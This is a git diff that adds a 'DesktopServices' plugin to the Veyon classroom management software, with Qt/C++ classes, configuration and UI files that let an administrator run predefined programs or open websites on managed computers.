+DesktopServiceObject::DesktopServiceObject( const QJsonObject& jsonObject ) : + m_type( static_cast( jsonObject.value( QStringLiteral( "Type" ) ).toInt() ) ), + m_name( jsonObject.value( QStringLiteral( "Name" ) ).toString() ), + m_path( jsonObject.value( QStringLiteral( "Path" ) ).toString() ), + m_uid( jsonObject.value( QStringLiteral( "Uid" ) ).toString() ) +{ +} + + + +bool DesktopServiceObject::operator==( const DesktopServiceObject& other ) const +{ + return uid() == other.uid(); +} + + + +QJsonObject DesktopServiceObject::toJson() const +{ + QJsonObject json; + json[QStringLiteral("Type")] = type(); + json[QStringLiteral("Name")] = name(); + json[QStringLiteral("Path")] = path(); + json[QStringLiteral("Uid")] = uid().toString(); + + return json; +} diff --git a/plugins/desktopservices/DesktopServiceObject.h b/plugins/desktopservices/DesktopServiceObject.h new file mode 100644 index 0000000..2183ee8 --- /dev/null +++ b/plugins/desktopservices/DesktopServiceObject.h @@ -0,0 +1,93 @@ +/* + * DesktopServiceObject.h - data class representing a desktop service object + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DESKTOP_SERVICE_OBJECT_H +#define DESKTOP_SERVICE_OBJECT_H + +#include +#include + +class QJsonObject; + +class DesktopServiceObject +{ +public: + typedef QUuid Uid; + typedef QString Name; + + typedef enum Types + { + None, + Program, + Website, + TypeCount + } Type; + + DesktopServiceObject( const DesktopServiceObject& other ); + DesktopServiceObject( Type type = None, + const Name& name = QString(), + const QString& path = QString(), + Uid uid = Uid() ); + DesktopServiceObject( const QJsonObject& jsonObject ); + + bool operator==( const DesktopServiceObject& other ) const; + + const Uid& uid() const + { + return m_uid; + } + + Uid parentUid() const + { + return Uid(); + } + + Type type() const + { + return m_type; + } + + const Name& name() const + { + return m_name; + } + + const QString& path() const + { + return m_path; + } + + QJsonObject toJson() const; + +private: + Type m_type; + QString m_name; + QString m_path; + Uid m_uid; + +}; + +Q_DECLARE_METATYPE(DesktopServiceObject::Type) + +#endif // DESKTOP_SERVICE_OBJECT_H diff --git a/plugins/desktopservices/DesktopServicesConfiguration.cpp b/plugins/desktopservices/DesktopServicesConfiguration.cpp new file mode 100644 index 0000000..5c28da3 --- /dev/null +++ b/plugins/desktopservices/DesktopServicesConfiguration.cpp @@ -0,0 +1,35 @@ +/* + * DesktopServicesConfiguration.cpp - configuration values for DesktopServices + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "DesktopServicesConfiguration.h" + + +DesktopServicesConfiguration::DesktopServicesConfiguration( QObject* parent ) : + Configuration::Proxy( &VeyonCore::config(), parent ) +{ +} + + +FOREACH_DESKTOP_SERVICES_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/plugins/desktopservices/DesktopServicesConfiguration.h b/plugins/desktopservices/DesktopServicesConfiguration.h new file mode 100644 index 0000000..a7de8a7 --- /dev/null +++ b/plugins/desktopservices/DesktopServicesConfiguration.h @@ -0,0 +1,49 @@ +/* + * DesktopServicesConfiguration.h - configuration values for DesktopServices + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DESKTOP_SERVICES_CONFIGURATION_H +#define DESKTOP_SERVICES_CONFIGURATION_H + +#include "Configuration/Proxy.h" + +#define FOREACH_DESKTOP_SERVICES_CONFIG_PROPERTY(OP) \ + OP( DesktopServicesConfiguration, m_configuration, JSONARRAY, predefinedPrograms, setPredefinedPrograms, "PredefinedPrograms", "DesktopServices" ); \ + OP( DesktopServicesConfiguration, m_configuration, JSONARRAY, predefinedWebsites, setPredefinedWebsites, "PredefinedWebsites", "DesktopServices" ); \ + + +class DesktopServicesConfiguration : public Configuration::Proxy +{ + Q_OBJECT +public: + DesktopServicesConfiguration( QObject* parent = nullptr ); + + FOREACH_DESKTOP_SERVICES_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + +public slots: + void setPredefinedPrograms( const QJsonArray& ); + void setPredefinedWebsites( const QJsonArray& ); + +} ; + +#endif diff --git a/plugins/desktopservices/DesktopServicesConfigurationPage.cpp b/plugins/desktopservices/DesktopServicesConfigurationPage.cpp new file mode 100644 index 0000000..f2eb6b4 --- /dev/null +++ b/plugins/desktopservices/DesktopServicesConfigurationPage.cpp @@ -0,0 +1,219 @@ +/* + * DesktopServicesConfigurationPage.cpp - implementation of the DesktopServicesConfigurationPage class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "DesktopServicesConfiguration.h" +#include "DesktopServicesConfigurationPage.h" +#include "ObjectManager.h" +#include "Configuration/UiMapping.h" + +#include "ui_DesktopServicesConfigurationPage.h" + +DesktopServicesConfigurationPage::DesktopServicesConfigurationPage( DesktopServicesConfiguration& configuration, QWidget* parent ) : + ConfigurationPage( parent ), + ui( new Ui::DesktopServicesConfigurationPage ), + m_configuration( configuration ) +{ + ui->setupUi( this ); +} + + + +DesktopServicesConfigurationPage::~DesktopServicesConfigurationPage() +{ + delete ui; +} + + + +void DesktopServicesConfigurationPage::resetWidgets() +{ + loadObjects( m_configuration.predefinedPrograms(), ui->programTable ); + loadObjects( m_configuration.predefinedWebsites(), ui->websiteTable ); +} + + + +void DesktopServicesConfigurationPage::connectWidgetsToProperties() +{ +} + + + +void DesktopServicesConfigurationPage::applyConfiguration() +{ +} + + + +void DesktopServicesConfigurationPage::addProgram() +{ + auto programs = m_configuration.predefinedPrograms(); + + addServiceObject( ui->programTable, DesktopServiceObject::Program, tr( "New program" ), programs ); + + m_configuration.setPredefinedPrograms( programs ); +} + + + +void DesktopServicesConfigurationPage::updateProgram() +{ + auto programs = m_configuration.predefinedPrograms(); + + updateServiceObject( ui->programTable, DesktopServiceObject::Program, programs ); + + m_configuration.setPredefinedPrograms( programs ); +} + + + +void DesktopServicesConfigurationPage::removeProgram() +{ + auto programs = m_configuration.predefinedPrograms(); + + removeServiceObject( ui->programTable, DesktopServiceObject::Program, programs ); + + m_configuration.setPredefinedPrograms( programs ); +} + + + +void DesktopServicesConfigurationPage::addWebsite() +{ + auto websites = m_configuration.predefinedWebsites(); + + addServiceObject( ui->websiteTable, DesktopServiceObject::Website, tr( "New website" ), websites ); + + m_configuration.setPredefinedWebsites( websites ); + +} + +void DesktopServicesConfigurationPage::updateWebsite() +{ + auto websites = m_configuration.predefinedWebsites(); + + updateServiceObject( ui->websiteTable, DesktopServiceObject::Website, websites ); + + m_configuration.setPredefinedWebsites( websites ); +} + + + +void DesktopServicesConfigurationPage::removeWebsite() +{ + auto websites = m_configuration.predefinedWebsites(); + + removeServiceObject( ui->websiteTable, DesktopServiceObject::Website, websites ); + + m_configuration.setPredefinedWebsites( websites ); +} + + + +void DesktopServicesConfigurationPage::addServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type, + const QString& name, QJsonArray& objects ) +{ + ObjectManager objectManager( objects ); + objectManager.add( DesktopServiceObject( type, name ) ); + objects = objectManager.objects(); + + loadObjects( objects, tableWidget ); + + tableWidget->setCurrentCell( tableWidget->rowCount()-1, 0 ); +} + + + +void DesktopServicesConfigurationPage::updateServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type, QJsonArray& objects ) +{ + auto currentServiceObjectIndex = tableWidget->currentIndex(); + if( currentServiceObjectIndex.isValid() == false ) + { + return; + } + + ObjectManager objectManager( objects ); + objectManager.update( currentServiceObject( tableWidget, type ) ); + objects = objectManager.objects(); + + loadObjects( objects, tableWidget ); + + tableWidget->setCurrentIndex( currentServiceObjectIndex ); +} + + + +void DesktopServicesConfigurationPage::removeServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type, QJsonArray& objects ) +{ + ObjectManager objectManager( objects ); + objectManager.remove( currentServiceObject( tableWidget, type ) ); + objects = objectManager.objects(); + + loadObjects( objects, tableWidget ); +} + + + +DesktopServiceObject DesktopServicesConfigurationPage::currentServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type ) +{ + const auto row = tableWidget->currentRow(); + + if( row >= 0 ) + { + auto nameItem = tableWidget->item( row, 0 ); + auto pathItem = tableWidget->item( row, 1 ); + + return DesktopServiceObject( type, + nameItem->text(), + pathItem->text(), + nameItem->data( Qt::UserRole ).toUuid() ); + } + + return DesktopServiceObject(); +} + + + +void DesktopServicesConfigurationPage::loadObjects( const QJsonArray& objects, QTableWidget* tableWidget ) +{ + tableWidget->setUpdatesEnabled( false ); + tableWidget->setRowCount( 0 ); + + int rowCount = 0; + + for( const auto& jsonValue : objects ) + { + const auto serviceObject = DesktopServiceObject( jsonValue.toObject() ); + + auto item = new QTableWidgetItem( serviceObject.name() ); + item->setData( Qt::UserRole, serviceObject.uid() ); + + tableWidget->setRowCount( rowCount+1 ); + tableWidget->setItem( rowCount, 0, item ); + tableWidget->setItem( rowCount, 1, new QTableWidgetItem( serviceObject.path() ) ); + ++rowCount; + } + + tableWidget->setUpdatesEnabled( true ); +} diff --git a/plugins/desktopservices/DesktopServicesConfigurationPage.h b/plugins/desktopservices/DesktopServicesConfigurationPage.h new file mode 100644 index 0000000..beaa85e --- /dev/null +++ b/plugins/desktopservices/DesktopServicesConfigurationPage.h @@ -0,0 +1,72 @@ +/* + * DesktopServicesConfigurationPage.h - header for the DesktopServicesConfigurationPage class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DESKTOP_SERVICES_CONFIGURATION_PAGE_H +#define DESKTOP_SERVICES_CONFIGURATION_PAGE_H + +#include "ConfigurationPage.h" +#include "DesktopServiceObject.h" + +class QTableWidget; +class DesktopServicesConfiguration; + +namespace Ui { +class DesktopServicesConfigurationPage; +} + +class DesktopServicesConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + DesktopServicesConfigurationPage( DesktopServicesConfiguration& configuration, QWidget* parent = nullptr ); + ~DesktopServicesConfigurationPage() override; + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +private slots: + void addProgram(); + void updateProgram(); + void removeProgram(); + void addWebsite(); + void updateWebsite(); + void removeWebsite(); + +private: + static void addServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type, const QString& name, QJsonArray& objects ); + static void updateServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type, QJsonArray& objects ); + static void removeServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type, QJsonArray& objects ); + + static DesktopServiceObject currentServiceObject( QTableWidget* tableWidget, DesktopServiceObject::Type type ); + + static void loadObjects( const QJsonArray& objects, QTableWidget* tableWidget ); + + Ui::DesktopServicesConfigurationPage *ui; + + DesktopServicesConfiguration& m_configuration; + +}; + +#endif // DESKTOP_SERVICES_CONFIGURATION_PAGE_H diff --git a/plugins/desktopservices/DesktopServicesConfigurationPage.ui b/plugins/desktopservices/DesktopServicesConfigurationPage.ui new file mode 100644 index 0000000..fed2770 --- /dev/null +++ b/plugins/desktopservices/DesktopServicesConfigurationPage.ui @@ -0,0 +1,279 @@ + + + DesktopServicesConfigurationPage + + + Programs & websites + + + + :/desktopservices/desktop-services.png:/desktopservices/desktop-services.png + + + + + + Predefined programs + + + + + + QAbstractItemView::SelectRows + + + 150 + + + true + + + false + + + + Name + + + + + Path + + + + + + + + Add new program + + + + + + + :/resources/list-add.png:/resources/list-add.png + + + + + + + Remove selected program + + + + + + + :/resources/edit-delete.png:/resources/edit-delete.png + + + + + + + Qt::Vertical + + + + 25 + 161 + + + + + + + + + + + Predefined websites + + + + + + Add new program + + + + + + + :/resources/list-add.png:/resources/list-add.png + + + + + + + Remove selected website + + + + + + + :/resources/edit-delete.png:/resources/edit-delete.png + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + QAbstractItemView::SelectRows + + + 150 + + + true + + + false + + + + Name + + + + + URL + + + + + + + + + + + + + + + + + + addProgramButton + clicked() + DesktopServicesConfigurationPage + addProgram() + + + 296 + 49 + + + 165 + 259 + + + + + removeProgramButton + clicked() + DesktopServicesConfigurationPage + removeProgram() + + + 296 + 79 + + + 165 + 259 + + + + + addWebsiteButton + clicked() + DesktopServicesConfigurationPage + addWebsite() + + + 296 + 317 + + + 165 + 259 + + + + + removeWebsiteButton + clicked() + DesktopServicesConfigurationPage + removeWebsite() + + + 296 + 347 + + + 165 + 259 + + + + + programTable + cellChanged(int,int) + DesktopServicesConfigurationPage + updateProgram() + + + 148 + 148 + + + 165 + 259 + + + + + websiteTable + cellChanged(int,int) + DesktopServicesConfigurationPage + updateWebsite() + + + 148 + 401 + + + 165 + 259 + + + + + + addProgram() + removeProgram() + addWebsite() + removeWebsite() + updateProgram() + updateWebsite() + + diff --git a/plugins/desktopservices/DesktopServicesFeaturePlugin.cpp b/plugins/desktopservices/DesktopServicesFeaturePlugin.cpp new file mode 100644 index 0000000..16f8d39 --- /dev/null +++ b/plugins/desktopservices/DesktopServicesFeaturePlugin.cpp @@ -0,0 +1,312 @@ +/* + * DesktopServicesFeaturePlugin.cpp - implementation of DesktopServicesFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "Computer.h" +#include "ComputerControlInterface.h" +#include "DesktopServicesConfigurationPage.h" +#include "DesktopServicesFeaturePlugin.h" +#include "VeyonMasterInterface.h" +#include "RunProgramDialog.h" +#include "PlatformCoreFunctions.h" +#include "PlatformUserFunctions.h" + + +DesktopServicesFeaturePlugin::DesktopServicesFeaturePlugin( QObject* parent ) : + QObject( parent ), + m_configuration(), + m_runProgramFeature( Feature::Action | Feature::AllComponents, + Feature::Uid( "da9ca56a-b2ad-4fff-8f8a-929b2927b442" ), + Feature::Uid(), + tr( "Run program" ), QString(), + tr( "Click this button to run a program on all computers." ), + QStringLiteral(":/desktopservices/preferences-desktop-launch-feedback.png") ), + m_openWebsiteFeature( Feature::Action | Feature::AllComponents, + Feature::Uid( "8a11a75d-b3db-48b6-b9cb-f8422ddd5b0c" ), + Feature::Uid(), + tr( "Open website" ), QString(), + tr( "Click this button to open a website on all computers." ), + QStringLiteral(":/desktopservices/internet-web-browser.png") ), + m_predefinedProgramsFeatures( predefinedPrograms() ), + m_predefinedWebsitesFeatures( predefinedWebsites() ), + m_features( FeatureList( { m_runProgramFeature, m_openWebsiteFeature } ) + m_predefinedProgramsFeatures + m_predefinedWebsitesFeatures ) +{ +} + + + +bool DesktopServicesFeaturePlugin::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + if( m_features.contains( feature ) == false ) + { + return false; + } + + if( feature == m_runProgramFeature ) + { + RunProgramDialog runProgramDialog( master.mainWindow() ); + + if( runProgramDialog.exec() == QDialog::Accepted && + runProgramDialog.programs().isEmpty() == false ) + { + sendFeatureMessage( FeatureMessage( feature.uid(), FeatureMessage::DefaultCommand ). + addArgument( ProgramsArgument, runProgramDialog.programs() ), computerControlInterfaces ); + } + } + else if( feature == m_openWebsiteFeature ) + { + const auto urlString = QInputDialog::getText( master.mainWindow(), + tr( "Open website" ), + tr( "Please enter the URL of the website to open:" ) ); + if( urlString.isEmpty() == false ) + { + sendFeatureMessage( FeatureMessage( feature.uid(), FeatureMessage::DefaultCommand ). + addArgument( WebsiteUrlArgument, urlString ), computerControlInterfaces ); + } + } + else if( m_predefinedProgramsFeatures.contains( feature ) ) + { + sendFeatureMessage( FeatureMessage( m_runProgramFeature.uid(), FeatureMessage::DefaultCommand ). + addArgument( ProgramsArgument, predefinedServicePath( feature.uid() ) ), computerControlInterfaces ); + + } + else if( m_predefinedWebsitesFeatures.contains( feature ) ) + { + sendFeatureMessage( FeatureMessage( m_openWebsiteFeature.uid(), FeatureMessage::DefaultCommand ). + addArgument( WebsiteUrlArgument, predefinedServicePath( feature.uid() ) ), computerControlInterfaces ); + + } + + return true; +} + + + +bool DesktopServicesFeaturePlugin::stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + Q_UNUSED(feature); + Q_UNUSED(computerControlInterfaces); + + return false; +} + + + +bool DesktopServicesFeaturePlugin::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master); + Q_UNUSED(message); + Q_UNUSED(computerControlInterface); + + return false; +} + + + +bool DesktopServicesFeaturePlugin::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + Q_UNUSED(server); + + if( message.featureUid() == m_runProgramFeature.uid() ) + { + const auto programs = message.argument( ProgramsArgument ).toStringList(); + for( const auto& program : programs ) + { + runProgramAsUser( program ); + } + } + else if( message.featureUid() == m_openWebsiteFeature.uid() ) + { + openWebsite( message.argument( WebsiteUrlArgument ).toString() ); + } + else + { + return false; + } + + return true; +} + + + +bool DesktopServicesFeaturePlugin::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker); + Q_UNUSED(message); + + return false; +} + + + +ConfigurationPage* DesktopServicesFeaturePlugin::createConfigurationPage() +{ + return new DesktopServicesConfigurationPage( m_configuration ); + +} + + + +void DesktopServicesFeaturePlugin::runProgramAsUser( const QString& commandLine ) +{ + qDebug() << "DesktopServicesFeaturePlugin::runProgramAsUser(): launching" << commandLine; + + QString program; + QStringList parameters; + + // parse command line format "C:\Program Files\..." -foo -bar + if( commandLine.startsWith( '"' ) && commandLine.count( '"' ) > 1 ) + { + const auto commandLineSplit = commandLine.split( '"' ); + program = commandLineSplit.value( 1 ); + parameters = commandLine.mid( program.size() + 2 ).split( ' ' ); + } + // parse command line format program.exe -foo -bar + else if( commandLine.contains( ' ' ) ) + { + const auto commandLineSplit = commandLine.split( ' ' ); + program = commandLineSplit.first(); + parameters = commandLineSplit.mid( 1 ); + } + else + { + // no arguments so use command line as program name + program = commandLine; + } + + VeyonCore::platform().coreFunctions().runProgramAsUser( program, parameters, + VeyonCore::platform().userFunctions().currentUser(), + VeyonCore::platform().coreFunctions().activeDesktopName() ); +} + + + +bool DesktopServicesFeaturePlugin::openWebsite( const QString& urlString ) +{ + QUrl url( urlString, QUrl::TolerantMode ); + if( url.scheme().isEmpty() ) + { + url = QUrl( QStringLiteral("http://") + urlString, QUrl::TolerantMode ); + } + + if( url.isEmpty() || url.isValid() == false ) + { + return false; + } + + if( QDesktopServices::openUrl( url ) == false ) + { + qWarning() << "DesktopServicesFeaturePlugin: could not open URL" << url + << "via QDesktopServices - trying native generic URL handler"; + + runProgramAsUser( QStringLiteral("%1 %2").arg( + VeyonCore::platform().coreFunctions().genericUrlHandler(), + url.toString() ) ); + } + + return true; +} + + + +FeatureList DesktopServicesFeaturePlugin::predefinedPrograms() const +{ + FeatureList programFeatures; + + const auto programs = m_configuration.predefinedPrograms(); + + if( programs.size() > 0 ) + { + programFeatures.reserve( programs.size() + 1 ); + + for( const auto program : programs ) + { + const auto programObject = DesktopServiceObject( program.toObject() ); + programFeatures.append( Feature( Feature::Action | Feature::Master, programObject.uid(), m_runProgramFeature.uid(), + programObject.name(), QString(), tr("Run program \"%1\"").arg( programObject.name() ) ) ); + } + + auto primaryFeature = m_runProgramFeature; + primaryFeature.setParentUid( m_runProgramFeature.uid() ); + primaryFeature.setDisplayName( tr("Custom program") ); + programFeatures.append( primaryFeature ); + } + + return programFeatures; +} + + + +FeatureList DesktopServicesFeaturePlugin::predefinedWebsites() const +{ + FeatureList websiteFeatures; + + const auto websites = m_configuration.predefinedWebsites(); + + if( websites.size() > 0 ) + { + websiteFeatures.reserve( websites.size() + 1 ); + + for( const auto website : websites ) + { + const auto websiteObject = DesktopServiceObject( website.toObject() ); + websiteFeatures.append( Feature( Feature::Action | Feature::Master, websiteObject.uid(), m_openWebsiteFeature.uid(), + websiteObject.name(), QString(), + tr("Open website \"%1\"").arg( websiteObject.name() ) ) ); + } + + auto primaryFeature = m_openWebsiteFeature; + primaryFeature.setParentUid( m_openWebsiteFeature.uid() ); + primaryFeature.setDisplayName( tr("Custom website") ); + websiteFeatures.append( primaryFeature ); + } + + return websiteFeatures; +} + + + +QString DesktopServicesFeaturePlugin::predefinedServicePath( Feature::Uid subFeatureUid ) const +{ + for( const auto& services : { m_configuration.predefinedPrograms(), m_configuration.predefinedWebsites() } ) + { + for( const auto service : services ) + { + const auto serviceObject = DesktopServiceObject( service.toObject() ); + if( serviceObject.uid() == subFeatureUid ) + { + return serviceObject.path(); + } + } + } + + return QString(); +} diff --git a/plugins/desktopservices/DesktopServicesFeaturePlugin.h b/plugins/desktopservices/DesktopServicesFeaturePlugin.h new file mode 100644 index 0000000..c8f87aa --- /dev/null +++ b/plugins/desktopservices/DesktopServicesFeaturePlugin.h @@ -0,0 +1,119 @@ +/* + * DesktopServicesFeaturePlugin.h - declaration of DesktopServicesFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DESKTOP_SERVICES_FEATURE_PLUGIN_H +#define DESKTOP_SERVICES_FEATURE_PLUGIN_H + +#include "ConfigurationPagePluginInterface.h" +#include "DesktopServicesConfiguration.h" +#include "FeatureProviderInterface.h" + +class DesktopServicesFeaturePlugin : public QObject, PluginInterface, + FeatureProviderInterface, + ConfigurationPagePluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.DesktopServices") + Q_INTERFACES(PluginInterface + FeatureProviderInterface + ConfigurationPagePluginInterface) +public: + DesktopServicesFeaturePlugin( QObject* parent = nullptr ); + ~DesktopServicesFeaturePlugin() override {} + + Plugin::Uid uid() const override + { + return QStringLiteral("a54ee018-42bf-4569-90c7-0d8470125ccf"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral("DesktopServices"); + } + + QString description() const override + { + return tr( "Start programs and services in user desktop" ); + } + + QString vendor() const override + { + return QStringLiteral("Veyon Community"); + } + + QString copyright() const override + { + return QStringLiteral("Tobias Junghans"); + } + + const FeatureList& featureList() const override + { + return m_features; + } + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) override; + + ConfigurationPage* createConfigurationPage() override; + +private: + void runProgramAsUser( const QString& commandLine ); + bool openWebsite( const QString& urlString ); + + FeatureList predefinedPrograms() const; + FeatureList predefinedWebsites() const; + + QString predefinedServicePath( Feature::Uid subFeatureUid ) const; + + enum Arguments { + ProgramsArgument, + WebsiteUrlArgument + }; + + DesktopServicesConfiguration m_configuration; + + const Feature m_runProgramFeature; + const Feature m_openWebsiteFeature; + const FeatureList m_predefinedProgramsFeatures; + const FeatureList m_predefinedWebsitesFeatures; + const FeatureList m_features; + +}; + +#endif // DESKTOP_SERVICES_FEATURE_PLUGIN_H diff --git a/plugins/desktopservices/RunProgramDialog.cpp b/plugins/desktopservices/RunProgramDialog.cpp new file mode 100644 index 0000000..ea4a8d5 --- /dev/null +++ b/plugins/desktopservices/RunProgramDialog.cpp @@ -0,0 +1,51 @@ +/* + * RunProgramDialog.cpp - implementation of RunProgramDialog + * + * Copyright (c) 2004-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "RunProgramDialog.h" + +#include "ui_RunProgramDialog.h" + +RunProgramDialog::RunProgramDialog( QWidget* parent ) : + QDialog( parent ), + ui( new Ui::RunProgramDialog ), + m_programs() +{ + ui->setupUi( this ); +} + + + +RunProgramDialog::~RunProgramDialog() +{ + delete ui; +} + + + +void RunProgramDialog::accept() +{ + m_programs = ui->programInputTextEdit->toPlainText().split( '\n' ); + + QDialog::accept(); +} diff --git a/plugins/desktopservices/RunProgramDialog.h b/plugins/desktopservices/RunProgramDialog.h new file mode 100644 index 0000000..c867af1 --- /dev/null +++ b/plugins/desktopservices/RunProgramDialog.h @@ -0,0 +1,51 @@ +/* + * RunProgramDialog.h - declaration of class RunProgramDialog + * + * Copyright (c) 2004-2019 Tobias Junghans + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef RUN_PROGRAM_DIALOG_H +#define RUN_PROGRAM_DIALOG_H + +#include + +namespace Ui { class RunProgramDialog; } + +class RunProgramDialog : public QDialog +{ + Q_OBJECT +public: + RunProgramDialog( QWidget *parent ); + ~RunProgramDialog() override; + + const QStringList& programs() const + { + return m_programs; + } + +private slots: + void accept() override; + +private: + Ui::RunProgramDialog* ui; + QStringList m_programs; + +} ; + +#endif diff --git a/plugins/desktopservices/RunProgramDialog.ui b/plugins/desktopservices/RunProgramDialog.ui new file mode 100644 index 0000000..1a8fada --- /dev/null +++ 